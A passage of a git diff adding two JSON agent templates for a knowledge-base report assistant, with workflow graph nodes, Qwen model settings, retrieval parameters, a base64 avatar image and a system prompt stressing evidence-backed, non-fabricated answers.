W6YokYV3c7QzQSFE74ysmIoVGjB4zChPp4UbmbV5uDtJSUmHmYlNSUiKTB14tvif4kKTSPMSfKYTjh2Hh8KDxTFivLZRP37fh9VdUj/vhxNQM2LOGYPvXX+D+Z1+R8ltscBu5dyz+XCAydVZ+yOujKdbS2ooKcptf3fUzXDdnFk5SH48iNIbEbicX5A/45C6lFO00TlVDEVEfjkj7cHSCLXdz2OCgDh7DxAbEkrWG1RWTJ097RO7U+8L+ZUooMIPwOEY1JHAz2QAdDU9hWAfEhxIRFILHCxYqHqhGNsP7SHPLcrKxZ9NbsJEtOvnwhvWvodBmw1Hu6tgYVbFXHNszE0wzlZQ6glgx81T5WSOFUkR5hft3BSOLCEXlGJ9fmZAQXCbOyQXM+sWjzu3Ll8+iBlsW6ut+GMJTcYOooBDYfPcSsYYNLYWnrYneDMJEiuzgBvbc667G/OlTUf/hZjR3tPDogL/lMmY+8RzrgbzH4+7ftUtgJC+2NhHJLEyRYFQ2Dmw9Cd0c/+pfg7hGbpQrK0yGwLKxY2c5Y9Ef9Dq//YuCFWveXLbu8x1XWRNNY5IMWiSxkB1sVBVsLufYuDpZtMXp3NgmrNpIvsryWfBEDYg5Ko0yczQ56sHfIkRYDgnSBbV/g0MkSBeFj41bU0lmkkhGVdKAK/7kJjaSjAr9eqbVx4qq2TJlyrQd8fb+H90isRVH8mIAAAAAAElFTkSuQmCC"
+}
\ No newline at end of file
diff --git a/agent/templates/knowledge_base_report.json b/agent/templates/knowledge_base_report.json
new file mode 100644
index 0000000..581b5e2
--- /dev/null
+++ b/agent/templates/knowledge_base_report.json
@@ -0,0 +1,331 @@
+{
+ "id": 20,
+ "title": {
+ "en": "Report Agent Using Knowledge Base",
+ "zh": "知识库检索智能体"},
+ "description": {
+ "en": "A report generation assistant using local knowledge base, with advanced capabilities in task planning, reasoning, and reflective analysis. Recommended for academic research paper Q&A",
+ "zh": "一个使用本地知识库的报告生成助手,具备高级能力,包括任务规划、推理和反思性分析。推荐用于学术研究论文问答。"},
+ "canvas_type": "Agent",
+ "dsl": {
+ "components": {
+ "Agent:NewPumasLick": {
+ "downstream": [
+ "Message:OrangeYearsShine"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen",
+ "maxTokensEnabled": true,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 128000,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "# User Query\n {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n * Breadth-first: list subtasks, prioritize them, and assign search terms.\n * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:OrangeYearsShine": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:NewPumasLick"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:NewPumasLick"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:NewPumasLickend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:NewPumasLick",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickstart-Message:OrangeYearsShineend",
+ "markerEnd": "logo",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:OrangeYearsShine",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLicktool-Tool:AllBirdsNailend",
+ "selected": false,
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "tool",
+ "target": "Tool:AllBirdsNail",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": -9.569875358221438,
+ "y": 205.84018385864917
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:OrangeYearsShine",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 734.4061285881053,
+ "y": 199.9706031723009
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen",
+ "maxTokensEnabled": true,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 128000,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "# User Query\n {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n * Breadth-first: list subtasks, prioritize them, and assign search terms.\n * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Knowledge Base Agent"
+ },
+ "dragging": false,
+ "id": "Agent:NewPumasLick",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 347.00048227952215,
+ "y": 186.49109364794631
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_10"
+ },
+ "dragging": false,
+ "id": "Tool:AllBirdsNail",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 220.24819746977118,
+ "y": 403.31576836482583
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ }
+ ]
+ },
+ "history": [],
+ "memory": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
\ No newline at end of file
diff --git a/agent/templates/knowledge_base_report_r.json b/agent/templates/knowledge_base_report_r.json
new file mode 100644
index 0000000..d237000
--- /dev/null
+++ b/agent/templates/knowledge_base_report_r.json
@@ -0,0 +1,331 @@
+{
+ "id": 21,
+ "title": {
+ "en": "Report Agent Using Knowledge Base",
+ "zh": "知识库检索智能体"},
+ "description": {
+ "en": "A report generation assistant using local knowledge base, with advanced capabilities in task planning, reasoning, and reflective analysis. Recommended for academic research paper Q&A",
+ "zh": "一个使用本地知识库的报告生成助手,具备高级能力,包括任务规划、推理和反思性分析。推荐用于学术研究论文问答。"},
+ "canvas_type": "Recommended",
+ "dsl": {
+ "components": {
+ "Agent:NewPumasLick": {
+ "downstream": [
+ "Message:OrangeYearsShine"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen",
+ "maxTokensEnabled": true,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 128000,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "# User Query\n {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n * Breadth-first: list subtasks, prioritize them, and assign search terms.\n * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n * Hierarchically clear modular structure\n * Logical grouping according to the MECE principle\n * Professionally presented formatting\n * Step-by-step cognitive guidance\n * Reasonable use of headings and dividers for clarity\n * *Italicize* key parameters\n * **Bold** critical information\n5. **LaTeX formula requirements**:\n * Inline formulas: start and end with `$`\n * Block formulas: start and end with `$$`, each `$$` on its own line\n * Block formula content must comply with LaTeX math syntax\n * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:OrangeYearsShine": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:NewPumasLick"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:NewPumasLick"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:NewPumasLickend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:NewPumasLick",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickstart-Message:OrangeYearsShineend",
+ "markerEnd": "logo",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:OrangeYearsShine",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLicktool-Tool:AllBirdsNailend",
+ "selected": false,
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "tool",
+ "target": "Tool:AllBirdsNail",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": -9.569875358221438,
+ "y": 205.84018385864917
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:OrangeYearsShine",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 734.4061285881053,
+ "y": 199.9706031723009
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen",
+ "maxTokensEnabled": true,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 128000,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "# User Query\n {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n * Actions:\n * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n * Example rules:\n * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n * Breadth-first: list subtasks, prioritize them, and assign search terms.\n * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n * 